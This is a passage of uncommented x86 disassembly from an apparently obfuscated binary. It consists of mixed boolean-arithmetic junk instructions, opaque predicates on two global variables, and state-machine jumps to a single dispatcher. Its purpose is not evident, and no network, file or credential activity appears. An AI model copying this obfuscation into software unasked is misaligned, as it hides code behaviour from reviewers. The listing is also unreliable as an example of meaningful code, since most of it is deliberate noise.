or al, cl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bh
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov bl, al
and bl, 0xff
and bh, cl
mov ch, dl
and ch, 0xff
and dh, cl
or bl, bh
or ch, dh
xor bl, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or bl, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov al, ch
xor al, 0xff
mov dh, ah
xor dh, al
and dh, ah
mov byte [ebp - 0xe40], dh
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
mov dl, 1
xor dl, 1
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov al, 1
xor al, 1
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0xe3b], al
mov dl, cl
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0xe3f], al
and cl, ch
mov al, dh
and al, 0xff
mov byte [ebp - 0xe3d], al
mov al, byte [ebp - 0xe40]
and al, ch
mov byte [ebp - 0xe3e], al
mov al, byte [ebp - 0xe3f]
or al, cl
mov cl, byte [ebp - 0xe3e]
mov byte [ebp - 0xe3c], al
mov al, byte [ebp - 0xe3d]
or al, cl
mov cl, byte [ebp - 0xe3c]
xor cl, al
mov al, byte [ebp - 0xe3b]
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov byte [ebp - 0xe38], cl
mov dl, bh
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
and bh, ch
mov byte [ebp - 0xe3a], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0xe39], al
mov al, byte [ebp - 0xe3a]
or cl, al
mov al, byte [ebp - 0xe39]
or bh, al
mov al, byte [ebp - 0xe38]
xor cl, bh
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov byte [ebp - 0xe37], bh
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0xe36], al
and cl, ch
mov al, bh
and al, 0xff
mov byte [ebp - 0xe35], al
mov al, byte [ebp - 0xe37]
and al, ch
mov byte [ebp - 0xe34], al
mov al, byte [ebp - 0xe36]
or al, cl
mov cl, byte [ebp - 0xe35]
mov byte [ebp - 0xe33], al
mov al, byte [ebp - 0xe34]
or cl, al
mov al, byte [ebp - 0xe33]
xor al, cl
mov cl, byte [ebp - 0xe32]
or dl, bh
xor dl, 0xff
or ch, 1
and dl, ch
or al, dl
mov byte [ebp - 0xe1f], al
mov ch, 1
xor ch, 0
and ch, 0
mov dl, 1
xor dl, 0
mov bh, dl
and bh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, bh
or al, dl
xor ch, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0xe31], al
mov bh, bl
and bh, al
mov al, ch
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xe30], al
mov al, byte [ebp - 0xe31]
and ch, al
mov al, byte [ebp - 0xe30]
or dl, bh
mov bh, byte [ebp - 0xe1f]
or al, ch
xor dl, al
mov ch, bl
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov byte [ebp - 0xe2c], al
mov ch, bh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and bh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, bh
or al, dl
xor ch, al
mov dl, cl
xor dl, 0xff
mov al, ch
and al, dl
xor ch, 0xff
mov dl, cl
and dl, ch
or al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov byte [ebp - 0xe2f], al
mov al, 1
xor al, 1
mov cl, dh
and cl, al
mov ch, bh
xor ch, 0xff
and ch, 0xff
and bh, al
mov al, byte [ebp - 0xe2f]
or al, cl
mov cl, byte [ebp - 0xe1f]
or ch, bh
xor al, ch
mov ch, dh
xor ch, 0xff
mov bh, al
xor bh, ch
and bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0xe2e], al
mov ch, 1
xor ch, 0
and cl, ch
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xe2d], al
mov al, byte [ebp - 0xe2e]
and ch, 1
or al, cl
mov cl, byte [ebp - 0xe2d]
or cl, ch
xor al, cl
mov ch, ah
xor ch, 0xff
mov cl, al
and cl, ch
xor al, 0xff
mov ch, ah
and ch, al
mov al, byte [ebp - 0xe2c]
or cl, ch
xor ah, 0xff
mov ch, cl
xor ch, ah
and ch, cl
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov byte [ebp - 0xe2b], cl
mov ah, al
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov byte [ebp - 0xe2a], cl
and al, cl
mov cl, byte [ebp - 0xe2b]
mov byte [ebp - 0xe29], al
mov al, dl
xor al, 0xff
and al, 0
mov byte [ebp - 0xe28], al
mov al, byte [ebp - 0xe2a]
and dl, al
mov al, byte [ebp - 0xe29]
or ah, al
mov al, byte [ebp - 0xe28]
or al, dl
xor ah, al
mov byte [ebp - 0xe27], ah
mov al, cl
xor al, 0xff
mov byte [ebp - 0xe22], al
xor ah, 0xff
mov dl, 1
xor dl, 0
and al, 0
mov byte [ebp - 0xe26], al
and cl, dl
mov al, ah
and al, 0
mov byte [ebp - 0xe24], al
mov al, byte [ebp - 0xe27]
and al, dl
mov byte [ebp - 0xe25], al
mov al, byte [ebp - 0xe26]
or al, cl
mov cl, byte [ebp - 0xe25]
mov byte [ebp - 0xe23], al
mov al, byte [ebp - 0xe24]
or al, cl
mov cl, byte [ebp - 0xe23]
xor cl, al
mov al, byte [ebp - 0xe22]
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov al, bh
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0xe21], al
mov ah, bh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bh, al
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, al
mov al, byte [ebp - 0xe21]
or ah, bh
or dl, ch
xor ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov bh, cl
and bh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, bh
or al, ah
xor ch, al
mov al, dl
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dl, ch
or ah, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xe20], ah
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov bh, ch
and bh, 0
and dl, cl
or ah, al
mov al, byte [ebp - 0xe20]
or bh, dl
mov dl, byte [ebp - 0xe1f]
xor ah, bh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, bl
xor al, 0xff
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or cl, bl
or ch, dh
xor cl, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov bl, ch
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or al, bl
or cl, dh
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
xor ch, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 0
or ch, dh
or cl, 0
xor ch, 0xff
and ch, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov al, 1
xor al, 0
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, 1
xor ch, 0
mov bh, dl
and bh, ch
xor dl, 0xff
and dl, 0
or bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xe1e], dh
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov bl, ch
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0xe1e]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov al, cl
xor al, 0xff
mov ch, dl
and ch, al
xor dl, 0xff
mov al, cl
and al, dl
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or al, cl
mov byte [ebp - 0xe17], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov cl, ch
and cl, dh
or dl, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov dh, 1
xor dh, 0
mov ah, dl
xor ah, dh
and ah, dl
mov byte [ebp - 0xe1a], ah
mov dh, bh
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0xe1b], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0xe1d], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xe1c], al
mov al, byte [ebp - 0xe1d]
and cl, dh
or ah, al
mov al, byte [ebp - 0xe1c]
or al, cl
mov cl, byte [ebp - 0xe1b]
xor ah, al
mov al, byte [ebp - 0xe1a]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xe16], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and al, dh
mov byte [ebp - 0xe19], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xe18], al
mov al, byte [ebp - 0xe19]
and cl, dh
or ch, al
mov al, byte [ebp - 0xe18]
or al, cl
mov cl, byte [ebp - 0xe17]
xor ch, al
mov al, byte [ebp - 0xe16]
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0xe15], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 0
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0xe15]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfcc21d6
mov ecx, 0xcd57becd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
xor esi, esi
sub esi, 0xc8b09a00
mov edx, ecx
add edx, esi
add edx, 0xdc23bfbb
add edx, 0xf79ac558
sub edx, 0xdc23bfbb
xor esi, esi
sub esi, 0xc8b09a00
sub edx, esi
mov esi, 0x958a3920
add esi, 0
sub esi, 1
sub esi, 0x958a3920
sub edx, 0x3de7477
add edx, esi
add edx, 0x3de7477
xor esi, esi
sub esi, 0x18fdb5ec
add edx, esi
sub edx, 0x2cc4b42d
sub edx, 0xf79ac558
add edx, 0x2cc4b42d
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x18fdb5ec
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or ch, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dh, al
mov al, 1
xor al, 0
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or al, bh
or ah, bl
xor al, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov byte [ebp - 0xe7b], ah
mov ch, 1
xor ch, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
mov bh, dh
and bh, 0
mov byte [ebp - 0xe7d], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xe7c], al
mov al, byte [ebp - 0xe7d]
or ah, al
mov al, byte [ebp - 0xe7c]
or bh, al
mov al, byte [ebp - 0xe7b]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and al, dh
or ch, al
xor ch, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or ch, ah
or al, 1
xor ch, 0xff
and ch, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov al, dl
and al, dh
or ah, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov ah, cl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and cl, dh
or ah, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov byte [ebp - 0xe77], ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov bl, cl
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, bl
or al, dl
xor dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
xor ch, 0xff
mov dl, bh
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov al, dh
xor al, 0xff
mov bl, 1
xor bl, 0
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov dl, 1
xor dl, 1
or cl, bl
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0xe78], dl
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and al, ch
mov byte [ebp - 0xe7a], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xe79], al
mov al, byte [ebp - 0xe7a]
and cl, ch
or dl, al
mov al, byte [ebp - 0xe79]
or al, cl
mov cl, byte [ebp - 0xe78]
xor dl, al
mov al, byte [ebp - 0xe77]
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xe76], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov ch, dl
and ch, 0xff
and dh, cl
or ah, al
mov al, byte [ebp - 0xe76]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xe75], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0xe75]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe04aa68c
mov ecx, 0xedd5538b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x22d5efd7
sub esi, 1
add esi, 0x22d5efd7
mov edx, 0xe58a8270
add edx, 0
add edx, esi
sub edx, 0xe58a8270
xor esi, esi
sub esi, 0x2404fe0f
sub esi, edx
add esi, 0x2404fe0f
mov edx, eax
sub edx, 0xa11692b8
sub edx, esi
add edx, 0xa11692b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl bh
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov ah, bh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, bh
and cl, ch
or ah, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov dl, cl
and dl, 0
xor cl, 0
or dl, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor dl, 0xff
mov ch, cl
xor ch, dl
and ch, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov dh, al
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ah, dh
or cl, dl
xor ah, cl
mov dl, 1
xor dl, 0
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
or dh, cl
mov cl, dh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov al, bh
and al, bl
or cl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
xor bh, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or bh, dh
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x1032], cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x1032]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov byte [ebp - 0x102d], cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov bl, ah
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, bl
or al, dl
xor dh, al
mov byte [ebp - 0x102f], dh
mov dl, 1
xor dl, 1
and dl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and bl, 1
or dl, bh
or al, bl
xor dl, al
mov bl, 1
xor bl, 1
mov al, cl
xor al, bl
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
xor dh, 0xff
mov bl, 1
xor bl, 1
mov ch, 1
xor ch, 1
or dh, bl
or ch, 1
xor dh, 0xff
and dh, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
xor bl, ch
and bl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x102e], ah
mov bh, 1
xor bh, 1
mov ah, ch
and ah, 0xff
and al, bh
mov byte [ebp - 0x1031], al
mov al, byte [ebp - 0x102e]
and al, 0xff
mov byte [ebp - 0x1030], al
mov al, byte [ebp - 0x1031]
and cl, bh
or ah, al
mov al, byte [ebp - 0x1030]
or al, cl
mov cl, byte [ebp - 0x102f]
xor ah, al
mov al, byte [ebp - 0x102e]
or ch, al
mov al, byte [ebp - 0x102d]
xor ch, 0xff
or bh, 1
and ch, bh
or ah, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, ah
xor dh, 0xff
mov bl, ch
and bl, dh
xor ch, 0xff
and ah, ch
or bl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x269e6345
mov ecx, 0x2c32716e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xc3653827
jmp 0x486e58
mov eax, dword [ebp - 0x178]
mov dword [eax], 2
mov dword [ebp - 0x1e0], 0xa67f369e
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x2f8d5fef
jmp 0x486e58
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x84]
mov dword [eax], ecx
mov dword [ebp - 0x1e0], 0x306b9d2b
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
xor esi, esi
sub esi, 0xb915f30b
mov edx, eax
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x5b05ad3e
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xb915f30b
add esi, edx
xor edx, edx
sub edx, esi
mov esi, 0x1fcc391c
add esi, 0
sub esi, 1
sub esi, 0x1fcc391c
sub edx, 0xa2f2f4b5
add edx, esi
add edx, 0xa2f2f4b5
mov esi, 0x3857f4f7
add esi, 0
sub esi, 0x5b05ad3e
sub esi, 0x3857f4f7
add edx, 0xa6e8d235
add edx, esi
sub edx, 0xa6e8d235
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0x1066], ah
cmp ecx, 0xa
setl bh
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, bh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov ch, bh
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
mov bl, dl
and bl, 0
mov byte [ebp - 0x1068], bl
mov bl, ch
and bl, 0xff
and al, dl
mov byte [ebp - 0x1067], al
mov al, byte [ebp - 0x1068]
or ah, al
mov al, byte [ebp - 0x1067]
or bl, al
mov al, byte [ebp - 0x1066]
xor ah, bl
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or dl, ah
or cl, 0
xor dl, 0xff
and dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or ah, cl
mov bl, 1
xor bl, 0
xor ah, 0xff
mov cl, 1
xor cl, 1
or bl, ah
or cl, 1
xor bl, 0xff
and bl, cl
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x1065], al
mov ch, bh
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, bh
and al, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, al
mov al, byte [ebp - 0x1065]
or cl, dh
xor ch, cl
mov dh, 1
xor dh, 0
mov cl, ch
xor cl, dh
and cl, ch
mov byte [ebp - 0x1062], cl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, cl
and ch, 0
and bl, ah
mov byte [ebp - 0x1064], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x1063], al
mov al, byte [ebp - 0x1064]
or ch, al
mov al, byte [ebp - 0x1063]
or bl, al
mov al, byte [ebp - 0x1062]
xor ch, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1061], ah
mov dh, bh
xor dh, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov bl, dh
and bl, 0xff
and bh, cl
or ah, al
mov al, byte [ebp - 0x1061]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, ah
xor al, 0xff
and al, 0
and ah, dh
or cl, ch
or al, ah
xor cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
